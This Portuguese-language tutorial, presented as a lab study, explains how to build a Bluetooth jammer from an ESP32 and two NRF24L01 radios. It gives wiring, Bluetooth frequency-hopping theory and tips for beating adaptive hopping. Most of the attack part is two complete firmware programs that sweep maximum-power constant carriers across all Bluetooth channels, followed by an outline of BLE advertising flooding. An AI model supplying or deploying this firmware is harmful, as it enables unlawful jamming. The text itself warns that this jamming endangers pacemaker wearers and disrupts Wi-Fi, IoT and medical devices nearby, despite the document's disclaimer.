ESTUDO - Interrompendo Comunicações Bluetooth Utilizando um Dispositivo de Baixo Custo

❗❗ ATENÇÃO - AVISO DE RESPONSABILIDADE

De roodriiigooo (Pesquisador/Autor): > Este estudo foi conduzido em um laboratório isolado! A utilização deste tipo de dispositivo de forma não autorizada, sem supervisão ou feita de forma amadora é considerada crime segundo o artigo 183 da lei 9.472/1997 (LGT) e a Resolução Anatel nº 760 e tem consequências. Portanto se busca reproduzir este estudo, certifique-se de que o ambiente é isolado e controlado. O autor não se responsabiliza por quaisquer atos irresponsáveis e suas consequências!

LGT: Lei 9.472/1997

ANATEL: Resolução nº 760, de 6 de fevereiro de 2023.

❗❗ RISCOS A SAÚDE

Um dispositivo BLOQUEADOR DE SINAIS DE RADIOCOMUNICAÇÕES (BSR/JAMMER) emite sinais de alta potência em frequências de rádio, gerando interferência eletromagnética que pode sobrecarregar ou confundir os circuitos eletrônicos sensíveis do marcapasso. Isso pode levar o dispositivo a interpretar falsamente sinais, alterar seu funcionamento normal ou entrar em modo de segurança. Os riscos incluem:

Ritmo cardíaco irregular por erro na leitura dos sinais naturais do coração.
Mau funcionamento temporário ou, em casos extremos, danos permanentes ao marcapasso.
Potencial risco de vida para o paciente, dependendo da gravidade da interferência.

As informações fornecidas baseiam-se em princípios gerais de eletromagnetismo, engenharia de dispositivos médicos, e conhecimento técnico sobre interferência eletromagnética (EMI). Para fontes específicas, estudos como os publicados pela FDA (Food and Drug Administration) e organizações como a American Heart Association discutem os riscos de interferência em dispositivos médicos implantáveis. Além disso, normas como a IEC 60601-1-2 detalham a compatibilidade eletromagnética para dispositivos médicos.

A interferência eletromagnética (EMI/BSR) gerada por dispositivos como jammers pode afetar o funcionamento de marcapassos, representando riscos significativos para indivíduos que dependem desses dispositivos. Os jammers emitem sinais de alta potência que podem sobrecarregar ou confundir os circuitos eletrônicos sensíveis dos marcapassos, levando a interpretações incorretas dos sinais cardíacos ou até mesmo à desprogramação do dispositivo. Isso pode resultar em arritmias, desmaios ou outras complicações graves para o paciente. Fonte: Uol

Além disso, outras fontes de EMI/BSR, como eletrocautérios utilizados em procedimentos cirúrgicos, também podem interferir na função dos marcapassos. Nesses casos, é recomendada a monitorização eletrocardiográfica contínua e, preferencialmente, a reprogramação do dispositivo para um modo assíncrono durante o procedimento, a fim de evitar inibições temporárias de estimulação. Fonte: SOCERJ

É importante que pacientes com marcapassos estejam cientes das potenciais fontes de interferência eletromagnética em ambientes domésticos e tomem precauções adequadas. Por exemplo, embora a maioria dos eletrodomésticos não cause interferência significativa, é aconselhável não permanecer encostado em fornos de micro-ondas em funcionamento e evitar o uso de colchões magnéticos, que podem afetar o funcionamento do marcapasso. Fonte: SEU CARDIO

Em resumo, a exposição a fontes de EMI/BSR, especialmente jammers, pode comprometer a eficácia dos marcapassos e colocar em risco a saúde dos pacientes.

Ciente do que foi dito acima:

Ao tentar reproduzir, você assume a sua responsabilidade

Faça por conta, responsabilidade e risco

Introdução

O protocolo Bluetooth, amplamente utilizado para comunicação sem fio em dispositivos móveis e IoT, é projetado para operar em um ambiente ruidoso com mecanismos como salto de frequência e correção de erros. Apesar dessas características, é possível interromper ou degradar significativamente a comunicação Bluetooth utilizando um dispositivo de baixo custo, como um ESP32 e módulos NRF24L01. Este estudo, apelidado de "Não Perturbe", explora a compreensão do funcionamento do Bluetooth e a construção de um jammer (Bloqueador de Sinal de Radiocomunicações - BSR), sua implementação prática e estratégias para maximizar sua eficácia e mitigação.

Para reproduzir este estudo é necessário conhecimento prévio das tecnologias aqui descritas, ferramentas e como utilizá-las.

Objetivos

Demonstrar a fragilidade e como é possível interromper comunicações Bluetooth utilizando dispositivos de baixo custo.
Explorar estratégias para maximizar a eficácia contra sistemas adaptativos.
Apresentar um código funcional para implementação prática (em laboratório).

Materiais Necessários

1x ESP32 (com LED azul para indicação de status).
2x Módulos NRF24L01 ou NRF24L01 +PA +LNA com antena externa.
2x Capacitores eletrolíticos de 10uF a 100uf 16v.
Fios jumper Femea x Femea.
Software Arduino IDE (com bibliotecas RF24 instaladas).
1x Telefone Celular (com recurso Bluetooth).
1x Caixa de som ou fones de ouvido com recurso Bluetooth.

Justificativa Para a Escolha Deste Hardware

Por que o ESP32 WROOM DEVKIT V1?

Capacidade de processamento e conectividade integrada.
Compatível com o Arduino IDE.
Baixo custo e amplo suporte da comunidade.

Por que NRF24L01 +PA + LNA?

Faixa de 2.4 GHz com amplificador.
Sensibilidade melhorada.
Custo acessível.

Montagem do Laboratório

Neste ponto iniciamos a montagem e programação do dispositivo que utilizaremos no estudo, tenha em mente que para replicar o estudo é necessário conhecimento básico sobre Arduino IDE e como instalar as bibliotecas necessárias. Abaixo a pinagem dos componentes para orientação inicial:

Imagem: Ilustração da pinagem do ESP32 e NRF24L01

Faça a soldagem ou utilize os jumpers para conectar cada pino em sua respectiva posição seguindo a tabela (não se esqueça dos capacitores):

NRF24L01	HSPI (ESP32)	VSPI (ESP32)	100uf capacitor
VCC	3.3V	3.3V	(+) capacitor
GND	GND	GND	(-) capacitor
CE	GPIO 16	GPIO 22
CNS	GPIO 15	GPIO 21
SCK	GPIO 14	GPIO 18
MOSI	GPIO 13	GPIO 23
MISO	GPIO 12	GPIO 19
IRQ	Não Conectado	Não Conectado

Tabela: Mostra a instalação dos módulos NRF24L01 usando HSPI e VSPI.

Ilustração simplificada para melhor entendimento da configuração demonstrada na Tabela:

Imagem: Ilustração da montagem do dispositivo

Configuração e Teoria

O Bluetooth opera na faixa de 2.4 GHz a 2.480 GHz, dividida em 79 canais de 1 MHz. Dispositivos Bluetooth utilizam salto de frequência para alternar entre canais até 1.600 vezes por segundo, minimizando interferências.

Frequência de Operação

Faixa de Frequência:
- Bluetooth opera entre 2.4 GHz e 2.4835 GHz, dentro do espectro de frequência ISM (Industrial, Scientific and Medical), que é de uso livre na maioria dos países.
- A faixa é dividida em 79 canais de 1 MHz cada.
Salto de Frequência (Frequency Hopping):
- Para evitar interferências, o Bluetooth usa um sistema de salto de frequência adaptativo (AFH - Adaptive Frequency Hopping).
- Alterna entre os canais disponíveis até 1.600 vezes por segundo, garantindo que o dispositivo não permaneça por muito tempo em um canal com interferência.

Os canais entre 0 e 79 no espectro de 2.400 GHz a 2.480 GHz correspondem à faixa de frequências ISM (Industrial, Scientific, and Medical), amplamente usada por diversos dispositivos de comunicação sem fio. Abaixo estão os serviços mais comuns que operam nessa faixa e como eles podem ser impactados pelo teste:

Wi-Fi (802.11 b/g/n)
- Uso: Redes sem fio em 2.4 GHz. Canais relevantes: Wi-Fi utiliza 14 canais sobrepostos (exceto no Japão, onde é permitido até o canal 14). Cada canal tem largura de 22 MHz. Canais mais comuns: 1 (2.412 GHz), 6 (2.437 GHz) e 11 (2.462 GHz), que são os únicos não sobrepostos. Impacto: O teste pode gerar interferência nas redes Wi-Fi próximas, especialmente se o rádio NRF24L01 usar canais que coincidam ou se aproximem da frequência central dos canais Wi-Fi. Interferências podem causar: Queda de desempenho na internet. Atrasos em transmissões de vídeo ou voz. Perda temporária de conexão.
Dispositivos Bluetooth
- Uso: Comunicação ponto-a-ponto (teclados, mouses, fones de ouvido, caixas de som, etc.). Canais relevantes: Bluetooth usa 79 canais de 1 MHz entre 2.400 GHz e 2.480 GHz. Opera com salto de frequência (frequency hopping) para minimizar interferência, trocando de canal até 1.600 vezes por segundo. Impacto: O teste pode temporariamente colidir com os canais Bluetooth, resultando em: Áudio cortado ou travado em dispositivos como fones de ouvido. Desempenho lento em transferências de dados. Reconexões frequentes. O impacto é maior em dispositivos Bluetooth que estão em uso intensivo, como streaming de áudio.
Redes Zigbee (IoT)
- Uso: Comunicação de dispositivos IoT, como sensores domésticos inteligentes, lâmpadas, e controladores. Canais relevantes: Zigbee usa 16 canais dentro da faixa de 2.4 GHz (canais 11-26). Cada canal tem largura de 2 MHz e está mais concentrado entre 2.405 GHz e 2.480 GHz. Impacto: O teste pode afetar temporariamente a comunicação de dispositivos IoT, causando atrasos ou falhas na troca de dados entre sensores e controladores.
Telefones sem fio (2.4 GHz)
- Uso: Telefones residenciais sem fio (em declínio, mas ainda usados). Canais relevantes: Ocupam uma faixa ampla em 2.4 GHz, muitas vezes sem padrão definido. Impacto: O teste pode gerar ruídos ou perda temporária de sinal.
Outros dispositivos ISM
- Uso: Equipamentos como drones, câmeras de segurança sem fio, controles remotos, dispositivos médicos. Canais relevantes: Dependem do dispositivo, mas geralmente ocupam canais na faixa de 2.4 GHz. Impacto: O teste pode interferir na transmissão de dados ou controle remoto desses dispositivos.

Bluetooth Clássico (BR/EDR)

Características Principais:

Taxa de Transferência Alta:
- Suporta taxas de até 3 Mbps em Enhanced Data Rate (EDR).
- Ideal para transmissões contínuas de dados, como áudio, chamadas e arquivos.
Consumo de Energia:
- Relativamente alto, devido à necessidade de manter conexões ativas continuamente.
- Projetado para dispositivos com fontes de energia maiores, como fones de ouvido e caixas de som.
Método de Comunicação:
- Conexão baseada em um canal contínuo e dedicado.
- Funciona com o protocolo frequency hopping spread spectrum (FHSS) para alternar entre 79 canais na faixa de 2,4 GHz.
Perfis de Uso:
- Oferece vários perfis para diferentes aplicações, como:
  - A2DP: Transmissão de áudio estéreo.
  - HFP: Perfis de chamadas telefônicas.
  - OBEX: Transferência de arquivos.
Alcance:
- Geralmente de 10 a 100 metros, dependendo da classe de potência:
  - Classe 1: Até 100 metros.
  - Classe 2: Até 10 metros (mais comum em dispositivos pessoais).
  - Classe 3: Até 1 metro. 6.Conexões Simultâneas:
- Geralmente limitado a 7 dispositivos ativos por piconet (Piconet é uma rede Bluetooth formada por dispositivos que se organizam automaticamente para se comunicar, sem a necessidade de cabos ou infraestrutura de rede).

Aplicações Comuns:

Fones de ouvido sem fio, caixas de som, controles de videogames, transferência de arquivos (como via Bluetooth FTP).

Bluetooth Low Energy (BLE)

Características Principais:

Baixo Consumo de Energia:
- Projeta-se para funcionar por meses ou anos em dispositivos movidos a bateria, como sensores e wearables.
- Ideal para transmissões intermitentes e pequenos pacotes de dados.
Taxa de Transferência:
- Taxa menor em comparação ao Bluetooth Clássico, até 2 Mbps.
- Otimizado para eficiência energética, em vez de grandes volumes de dados.
Método de Comunicação:
- Utiliza pacotes curtos e infrequentes para economizar energia.
- Também opera na faixa de 2,4 GHz, mas com um protocolo simplificado e menos canais ativos:
  - BLE usa 40 canais (em vez de 79 no Clássico), com 2 MHz de largura de banda por canal.
Perfis de Uso (GATT):
- Baseado em Generic Attribute Profile (GATT), permitindo que dispositivos se conectem rapidamente e troquem informações específicas.
- Exemplo: Um sensor de temperatura transmite apenas o valor atual.
Alcance:
- Similar ao Bluetooth Clássico, pode atingir 10 a 100 metros, dependendo da potência e ambiente.
Conexões Simultâneas:
- Suporta um número maior de dispositivos conectados simultaneamente, dependendo da implementação.
Latência:
- Extremamente baixa, com tempos de ativação em torno de 3 ms, em comparação a 100 ms no Bluetooth Clássico.

Aplicações Comuns:

Sensores IoT, relógios inteligentes, dispositivos de monitoramento de saúde, fechaduras eletrônicas, balanças, tags de rastreamento.

Comparação Direta:

Aspecto	Bluetooth Clássico (BR/EDR)	Bluetooth Low Energy (BLE)
Taxa de Transferência	Até 3 Mbps	Até 2 Mbps
Consumo de Energia	Alto	Muito baixo
Perfis	A2DP, HFP, OBEX, etc.	GATT, projetado para dados pequenos
Número de Canais	79 (1 MHz por canal)	40 (2 MHz por canal)
Latência	Maior (~100 ms)	Muito baixa (~3 ms)
Conexões Simultâneas	Até 7	Mais conexões (depende da implementação)
Alcance	10–100 metros	10–100 metros
Foco de Uso	Áudio, chamadas, grandes dados	IoT, sensores, pequenos pacotes de dados

Quadro comparativo entre as duas tecnologias.

Mecanismos de Contingência para Minimização de Ruído

Bluetooth utiliza diversas estratégias para minimizar os impactos de ruído e interferências, garantindo uma comunicação confiável:

Frequency-Hopping Spread Spectrum (FHSS) e Adaptive Frequency Hopping (AFH)
- FHSS (Frequency-Hopping Spread Spectrum):
  - Definição: FHSS é uma técnica de modulação de espectro espalhado onde o transmissor e o receptor alternam entre diferentes frequências (ou canais) de forma pseudoaleatória, sincronizados por uma sequência pré-definida.
  - Características:
    - Constância:
      - O padrão de salto é fixo e predefinido para ambos os dispositivos.
    - Taxa de Salto:
      - Frequências são alteradas a uma taxa regular, geralmente várias vezes por segundo.
    - Resistência ao Ruído:
      - Como o sinal salta entre canais, é menos provável que seja afetado por interferências contínuas em uma única frequência.
    - Simplicidade:
      - A técnica é simples de implementar, mas não considera as condições de interferência em tempo real.
  - Vantagens:
    - Oferece boa proteção contra interferências fixas.
    - Funciona bem em ambientes onde o ruído é estático ou distribuído uniformemente.
  - Desvantagens:
    - Ineficaz contra interferências adaptativas, pois não avalia a qualidade dos canais.
  - Uso:
    - FHSS é usado em tecnologias mais antigas como o Bluetooth Clássico (v1.0 a v2.0).
- AFH (Adaptive Frequency Hopping):
  - Definição: AFH é uma técnica de salto de frequência que ajusta dinamicamente o padrão de salto com base na qualidade dos canais. Ele evita canais com interferência e concentra-se nos canais limpos.
  - Características:
    - Dinamicidade:
      - O padrão de salto não é fixo; é ajustado dinamicamente com base em medições de interferência.
    - Qualidade dos Canais:
      - Dispositivos analisam o espectro e excluem canais com alta interferência (ex.: Wi-Fi ou outros dispositivos Bluetooth).
    - Melhor Eficiência:
      - A transmissão evita colisões e aproveita melhor o espectro disponível.
  - Vantagens:
    - Reduz significativamente o impacto de interferências em ambientes densos.
    - Otimiza a qualidade da conexão em tempo real.
    - É compatível com sistemas coexistentes (ex.: Wi-Fi em 2.4 GHz).
  - Desvantagens:
    - Maior complexidade de implementação em comparação ao FHSS.
    - Pode consumir mais recursos computacionais para análise de espectro.
  - Uso:
    - AFH é usado em Bluetooth a partir da versão 1.2 e no Bluetooth Low Energy (BLE)

Aspecto	FHSS	AFH
Padrão de Salto	Fixo e predefinido	Dinâmico e ajustado em tempo real
Análise de Canais	Não realiza	Realiza para evitar canais ruins
Resistência a Ruído	Moderada	Alta
Complexidade	Simples	Alta
Interferência	Afetado por fontes adaptativas	Menos afetado
Exemplos de Uso	Bluetooth Clássico v1.0/v1.1	Bluetooth v1.2+, BLE

Quadro comparativo entre as duas tecnologias.

Forward Error Correction (FEC)
- Como Funciona:
  - Dados transmitidos incluem bits adicionais para detectar e corrigir erros causados por ruído no canal.
  - Utiliza algoritmos de correção como Hamming Code e CRC (Cyclic Redundancy Check).
- Benefício:
  - Permite recuperar informações danificadas sem a necessidade de retransmissão, otimizando a comunicação.
Potência de Transmissão Adaptativa
- Como Funciona:
  - O Bluetooth ajusta automaticamente a potência de transmissão para o nível mínimo necessário para manter a comunicação.
  - Reduz interferências com outros dispositivos e economiza energia.
- Benefício:
  - Minimiza o consumo de energia e a interferência com outros dispositivos na mesma faixa.
Redundância de Dados
- Como Funciona:
  - Pacotes de dados podem ser duplicados e enviados novamente se não forem confirmados pelo receptor.
  - Em sistemas BLE (Bluetooth Low Energy), isso ocorre em níveis diferentes para otimizar o desempenho.
- Benefício:
  - Garante alta confiabilidade na transmissão, especialmente em ambientes ruidosos.
Modulação GFSK
- Como Funciona:
  - O Bluetooth clássico utiliza a modulação Gaussian Frequency-Shift Keying (GFSK), que é eficiente em termos de espectro e resistente ao ruído.
  - O BLE (Bluetooth Low Energy) utiliza modulação Gaussian Minimum Shift Keying (GMSK) para eficiência energética e estabilidade.
- Benefício:
  - Reduz a susceptibilidade ao ruído e melhora a eficiência espectral.

Perfis de Uso

Bluetooth suporta vários perfis para diferentes tipos de aplicações:

A2DP (Advanced Audio Distribution Profile): Streaming de áudio em alta qualidade.
HFP (Hands-Free Profile): Comunicação de voz, como chamadas telefônicas.
GATT (Generic Attribute Profile): Transmissão de dados em BLE, usado em dispositivos IoT e sensores.

Desafios e Limitações

Apesar dos mecanismos de contingência, Bluetooth enfrenta desafios em ambientes de alta densidade de dispositivos:

Interferências em Ambientes Ruidosos:
- Embora o AFH reduza a interferência, em locais com muitos dispositivos na faixa de 2.4 GHz, a comunicação pode ser degradada.
Impacto do Multipercurso:
- Reflexões de sinal em ambientes internos podem causar cancelamento ou atenuação de sinais.
Alcance Limitado:
- Em ambientes abertos, o alcance médio (depende de hardware) pode ser de até 100 metros (com potência máxima), mas é significativamente menor em ambientes internos.

Eficiência e Taxas de Transmissão Disponíveis no NRF24L01

No contexto de criar uma interrupção na comunicação Bluetooth usando o NRF24L01, a escolha do parâmetro em .setDataRate() é crítica para determinar a eficiência e eficácia na interferência. O objetivo principal é saturar os canais Bluetooth com o maior número de pacotes possível para maximizar a interferência.

O módulo NRF24L01 suporta três taxas de transmissão de dados:

RF24_250KBPS (250 kbps), 2. RF24_1MBPS (1 Mbps) e 3. RF24_2MBPS (2 Mbps):

Taxa de Dados	Vantagens	Desvantagens
250 kbps	Maior alcance devido à menor largura de banda.	Menor taxa de transmissão, menos saturação.
1 Mbps	Balanceamento entre alcance e taxa de transmissão.	Interferência moderada.
2 Mbps	Maior saturação por canal devido à alta taxa.	Alcance reduzido devido à maior largura de banda.

Quadro Comparativo das Taxas de Transmissão.

Qual Taxa Escolher Para Maior Eficácia?

RF24_2MBPS: Esta taxa é a mais eficiente para interferência, pois envia o maior número de pacotes por segundo, maximizando a saturação dos canais Bluetooth. O Bluetooth Classic usa pacotes de 1 Mbps, então uma taxa de 2 Mbps do NRF24L01 pode enviar pacotes mais rápido que o Bluetooth consegue lidar.
- Limitação: O alcance será menor em ambientes com obstáculos ou interferências naturais, como paredes.
RF24_1MBPS: Usada como alternativa quando há necessidade de um alcance moderado. Pode ser útil em ambientes onde o alcance é mais importante do que a taxa de transmissão.
RF24_250KBPS: Geralmente, não é eficiente a ponto de interromper a comunicação entre dispositivos Bluetooth, pois a baixa taxa de transmissão permite que dispositivos Bluetooth ainda troquem dados entre os pacotes enviados.

Melhor Combinação para Melhor Desempenho

Estratégia de Saturação:
- O NRF24L01 será configurado para operar em RF24_2MBPS e transmitir pacotes pequenos e repetitivos para maximizar a ocupação do canal (curta distância e alta eficácia). Isso impede que dispositivos Bluetooth encontrem "lacunas" para transmitir seus próprios pacotes.
- Em outro cenário podemos utilizar a combinação de duas antenas e a configuração RF24_1MBPS para maior alcance (em distância), mas não neste ambiente teste.
Canais Críticos:
- Em vez de interferir em todos os 79 canais Bluetooth, será focado nos canais onde há maior atividade, como os canais de controle e salto (frequency hopping). O Bluetooth Classic utiliza 79 canais com saltos frequentes, mas certos dispositivos podem usar padrões previsíveis.
Envio Contínuo e Ajuste Dinâmico:
- Um loop que monitora constantemente os canais e ajuste dinamicamente os canais com maior atividade nos canais utilizados pelo Bluetooth. Isso aumenta a confiabilidade da interferência, ignorado neste cenário mas que pode ser implementado da seguinte forma:

const int btChannels[] = {0, 1, 2, 3, ..., 78}; // Lista completa de canais Bluetooth
const int numChannels = sizeof(btChannels) / sizeof(btChannels[0]);
int activeChannels[79] = {0}; // Canais ativos detectados

// Função para escanear canais ativos
void scanChannels() {
  memset(activeChannels, 0, sizeof(activeChannels)); // Reseta um array de canais ativos
  for (int i = 0; i < numChannels; i++) {
    scanner.setChannel(btChannels[i]);
    delay(5); // Tempo de varredura por canal
    if (scanner.testCarrier()) {
      activeChannels[btChannels[i]] = 1; // Marca o canal como ativo
    }
  }
}

Utilizar RF24_1MBPS em dois transmissores simultaneos tem a mesma eficácia que um transmissor em RF24_2MBPS?

Usar RF24_1MBPS em dois transmissores simultâneos não terá necessariamente a mesma eficácia que usar RF24_2MBPS em um único transmissor, mas pode atingir resultados semelhantes em algumas circunstâncias. A eficácia depende de vários fatores, como a coordenação entre os transmissores, a frequência de envio, e a forma como o Bluetooth lida com a interferência.

Fatores a Considerar

Capacidade de Saturação:
- RF24_2MBPS:
  - Um único transmissor envia pacotes com o dobro da velocidade em comparação a RF24_1MBPS, maximizando a saturação de cada canal individualmente.
  - Ideal para saturar rapidamente um canal ou uma faixa de canais.
- Dois transmissores em RF24_1MBPS:
  - Dois transmissores podem operar simultaneamente em diferentes canais ou na mesma faixa de canais. Se coordenados corretamente, podem alcançar uma taxa de envio combinada equivalente ou até superior a 2 Mbps.
  - A eficácia dependerá da sincronização e da distribuição da carga.
Sincronização dos Transmissores:
- Se os dois transmissores não forem sincronizados, há risco de colisão de pacotes, o que reduz a eficácia.
- Uma boa estratégia é alternar os canais entre os transmissores ou configurar cada transmissor para trabalhar em faixas distintas de canais Bluetooth.
Faixa de Canais:
- O Bluetooth Classic utiliza frequency hopping spread spectrum (FHSS), alternando rapidamente entre os 79 canais disponíveis.
- Dois transmissores podem interferir em diferentes grupos de canais, cobrindo uma faixa mais ampla simultaneamente.
Interferência e Detecção:
- A presença de dois transmissores pode aumentar a imprevisibilidade da interferência para os dispositivos Bluetooth, dificultando a adaptação do protocolo Bluetooth ao ruído.
Alcance:
- O alcance dos transmissores é um fator importante. Dois transmissores posicionados estrategicamente podem cobrir uma área maior ou criar redundância em áreas de sinal fraco.

Aspecto	RF24_2MBPS (1 transmissor)	RF24_1MBPS (2 transmissores simultâneos)
Taxa de envio por canal	2 Mbps	2 Mbps (combinado, se bem sincronizados).
Cobertura de canais	Limitada ao canal configurado.	Possibilidade de cobrir múltiplos canais.
Complexidade	Simples de configurar.	Necessita de coordenação entre os transmissores.
Alcance	Limitado a um único transmissor.	Cobertura maior se transmissores estiverem distantes.
Imprevisibilidade	Interferência previsível.	Maior imprevisibilidade para o Bluetooth.

Quadro Com Uma Comparação Direta.

Dicas para Aumentar a Confiabilidade

Monitore os Canais:
- Antes de interferir, use o NRF24L01 para escanear os canais (com testCarrier() ou testRPD()) e identificar onde há atividade.
Alterne entre Taxas:
- Se o alcance for um problema, ajuste dinamicamente para RF24_1MBPS em canais mais distantes.
Usar Pacotes Curtos e Frequentes:
- Pacotes curtos (ex.: 4 bytes) são ideais para saturar os canais sem depender de grandes buffers de envio.
Evitar Detecção:
- O Bluetooth é projetado para resistir a interferências. Para evitar ser ignorado pelos dispositivos Bluetooth, envie pacotes de "ruído" em padrões imprevisíveis.

Implementação da Firmware - Estratégias A, B e C

Estratégia A. - Cobertura Dividida

Sinal de Emissão Contínua:
- Utiliza o método startConstCarrier() para gerar um sinal constante em cada canal, saturando-o.
Saltos de Canal Aleatórios:
- Implementação de saltos imprevisíveis para cobrir toda a faixa Bluetooth, dificultando a recuperação de dispositivos adaptativos.
Divisão de Faixa:
- Dois rádios NRF24L01 são usados simultaneamente, cobrindo metade dos canais cada, garantindo cobertura rápida.
Potência e Taxa de Transmissão Máximas:
- Configuração dos módulos para RF24_PA_MAX e RF24_2MBPS para máxima intensidade e velocidade de interferência.

Implementação da Firmware - Código Fonte

Utilize a Arduinno IDE:

#include "RF24.h"
#include <SPI.h>
#include "esp_bt.h"
#include "esp_wifi.h"

// Configurações para dois módulos NRF24L01
SPIClass *sp = nullptr;
SPIClass *hp = nullptr;

RF24 radio(16, 15, 16000000);   // HSPI
RF24 radio1(22, 21, 16000000);  // VSPI

// Configurações de canais e controle
int ch_hspi = 0;  // Canal inicial para HSPI (0-39)
int ch_vspi = 40; // Canal inicial para VSPI (40-78)
bool flag_hspi = false;  // Direção de salto HSPI
bool flag_vspi = true;   // Direção de salto VSPI

// Pino do LED azul para indicação
const int ledPin = 2;
bool hasError = false;  // Indicador de erro

// Função de configuração inicial
void setup() {
  pinMode(ledPin, OUTPUT);
  digitalWrite(ledPin, LOW); // Inicialmente o LED está apagado
  Serial.begin(115200);

  // Desativa Wi-Fi e Bluetooth do ESP32
  esp_bt_controller_deinit();
  esp_wifi_stop();
  esp_wifi_deinit();
  esp_wifi_disconnect();

  // Inicializa os rádios NRF24L01
  if (!initHP() || !initSP()) {
    hasError = true; // Marca erro se algum rádio falhar
  }
}

// Inicializa o rádio no barramento VSPI
bool initSP() {
  sp = new SPIClass(VSPI);
  sp->begin();
  if (radio1.begin(sp)) {
    radio1.setAutoAck(false);
    radio1.stopListening();
    radio1.setRetries(0, 0);
    radio1.setPALevel(RF24_PA_MAX, true);
    radio1.setDataRate(RF24_2MBPS);
    radio1.setCRCLength(RF24_CRC_DISABLED);
    radio1.startConstCarrier(RF24_PA_MAX, ch_vspi); // Sinal contínuo
    return true;
  } else {
    Serial.println("Erro ao inicializar VSPI");
    return false;
  }
}

// Inicializa o rádio no barramento HSPI
bool initHP() {
  hp = new SPIClass(HSPI);
  hp->begin();
  if (radio.begin(hp)) {
    radio.setAutoAck(false);
    radio.stopListening();
    radio.setRetries(0, 0);
    radio.setPALevel(RF24_PA_MAX, true);
    radio.setDataRate(RF24_2MBPS);
    radio.setCRCLength(RF24_CRC_DISABLED);
    radio.startConstCarrier(RF24_PA_MAX, ch_hspi); // Sinal contínuo
    return true;
  } else {
    Serial.println("Erro ao inicializar HSPI");
    return false;
  }
}

// Função para gerar payloads e alternar canais
void jammerSweepBluetooth() {
  // Alterna canal no HSPI
  if (flag_hspi) {
    ch_hspi -= random(1, 3); // Decremento aleatório
    if (ch_hspi < 0) {
      ch_hspi = random(1, 5);
      flag_hspi = false;
    }
  } else {
    ch_hspi += random(1, 3); // Incremento aleatório
    if (ch_hspi > 39) {
      ch_hspi = 39;
      flag_hspi = true;
    }
  }
  radio.setChannel(ch_hspi);
  
  // Alterna canal no VSPI
  if (flag_vspi) {
    ch_vspi -= random(2, 5); // Decremento aleatório
    if (ch_vspi < 40) {
      ch_vspi = 40;
      flag_vspi = false;
    }
  } else {
    ch_vspi += random(2, 5); // Incremento aleatório
    if (ch_vspi > 78) {
      ch_vspi = 78;
      flag_vspi = true;
    }
  }
  radio1.setChannel(ch_vspi);
}

// Indicação de erro com LED piscando
void indicateError() {
  digitalWrite(ledPin, HIGH);
  delay(500);
  digitalWrite(ledPin, LOW);
  delay(500);
}

// Loop principal
void loop() {
  if (hasError) {
    indicateError(); // Pisca LED em caso de erro
  } else {
    digitalWrite(ledPin, HIGH); // LED ligado para operação normal
    jammerSweepBluetooth();     // Executa lógica de interferência
  }
}

Estratégia B. - Cobertura Simultânea

Unificar os dois rádios para:
- Operar no mesmo canal de forma sincronizada, reforçando a intensidade do ruído.
Cobertura Aleatória:
- Alternar os 79 canais de forma simultânea e aleatória, para maximizar a cobertura em toda a faixa Bluetooth.
Interferência Combinada:
- Uso simultâneo de startConstCarrier() e transmissão de payloads (write()).
Simplicidade:
- O código elimina a necessidade de lógica separada para HSPI e VSPI, simplificando a implementação.
Potência e Taxa de Transmissão Máximas:
- Configuração dos módulos para RF24_PA_MAX e RF24_2MBPS para máxima intensidade e velocidade de interferência.

Implementação da Firmware - Código Fonte

Utilize a Arduinno IDE:

#include "RF24.h"
#include <SPI.h>
#include "esp_bt.h"
#include "esp_wifi.h"

// Configurações para dois módulos NRF24L01
SPIClass *sp = nullptr;
SPIClass *hp = nullptr;

RF24 radio(16, 15, 16000000);   // HSPI
RF24 radio1(22, 21, 16000000);  // VSPI

// Configuração de canais e controle
int current_channel = 0;  // Canal atual (0-78)
const int max_channel = 78; // Canal máximo

// Pino do LED azul para indicação
const int ledPin = 2;
bool hasError = false;  // Indicador de erro

// Função de configuração inicial
void setup() {
  pinMode(ledPin, OUTPUT);
  digitalWrite(ledPin, LOW); // Inicialmente o LED está apagado
  Serial.begin(115200);

  // Desativa Wi-Fi e Bluetooth do ESP32
  esp_bt_controller_deinit();
  esp_wifi_stop();
  esp_wifi_deinit();
  esp_wifi_disconnect();

  // Inicializa os rádios NRF24L01
  if (!initHP() || !initSP()) {
    hasError = true; // Marca erro se algum rádio falhar
  }
}

// Inicializa o rádio no barramento VSPI
bool initSP() {
  sp = new SPIClass(VSPI);
  sp->begin();
  if (radio1.begin(sp)) {
    radio1.setAutoAck(false);
    radio1.stopListening();
    radio1.setRetries(0, 0);
    radio1.setPALevel(RF24_PA_MAX, true);
    radio1.setDataRate(RF24_2MBPS);
    radio1.setCRCLength(RF24_CRC_DISABLED);
    radio1.startConstCarrier(RF24_PA_MAX, current_channel); // Sinal contínuo
    return true;
  } else {
    Serial.println("Erro ao inicializar VSPI");
    return false;
  }
}

// Inicializa o rádio no barramento HSPI
bool initHP() {
  hp = new SPIClass(HSPI);
  hp->begin();
  if (radio.begin(hp)) {
    radio.setAutoAck(false);
    radio.stopListening();
    radio.setRetries(0, 0);
    radio.setPALevel(RF24_PA_MAX, true);
    radio.setDataRate(RF24_2MBPS);
    radio.setCRCLength(RF24_CRC_DISABLED);
    radio.startConstCarrier(RF24_PA_MAX, current_channel); // Sinal contínuo
    return true;
  } else {
    Serial.println("Erro ao inicializar HSPI");
    return false;
  }
}

// Função para gerar payloads e alternar canais aleatorios
void jammerSweepBluetooth() {
  current_channel = random(0, max_channel + 1);
  radio.setChannel(current_channel);
  radio1.setChannel(current_channel);
}

// Indicação de erro com LED piscando
void indicateError() {
  digitalWrite(ledPin, HIGH);
  delay(500);
  digitalWrite(ledPin, LOW);
  delay(500);
}

// Loop principal
void loop() {
  if (hasError) {
    indicateError(); // Pisca LED em caso de erro
  } else {
    digitalWrite(ledPin, HIGH); // LED ligado para operação normal
    jammerSweepBluetooth();     // Executa lógica de interferência
  }
}

Em comparativo com `Estratégia A`, vantagens de não separar a cobertura:

Maior Potência em Cada Canal:
- Ambos os rádios contribuem para saturar o mesmo canal, dificultando ainda mais a comunicação Bluetooth.
Menor Latência de Mudança:
- Não há necessidade de cálculos ou ajustes independentes de canais, tornando os saltos mais rápidos.

Desvantagem Potencial

Menor Cobertura Simultânea:
- Como ambos os rádios operam no mesmo canal, não há divisão de carga para cobrir dois canais ao mesmo tempo.

Estratégia C. - Utilizar os Transmissores do ESP32 em conjunto com NRF24L01

Bluetooth LE Advertising Bombing:
- Enviar pacotes de anúncio BLE (Bluetooth Low Energy) continuamente, ocupando os canais publicitários (37, 38 e 39) e impedindo conexões BLE de se estabelecerem.
(Sugestão não implementada) Wi-Fi Beacon Flooding:
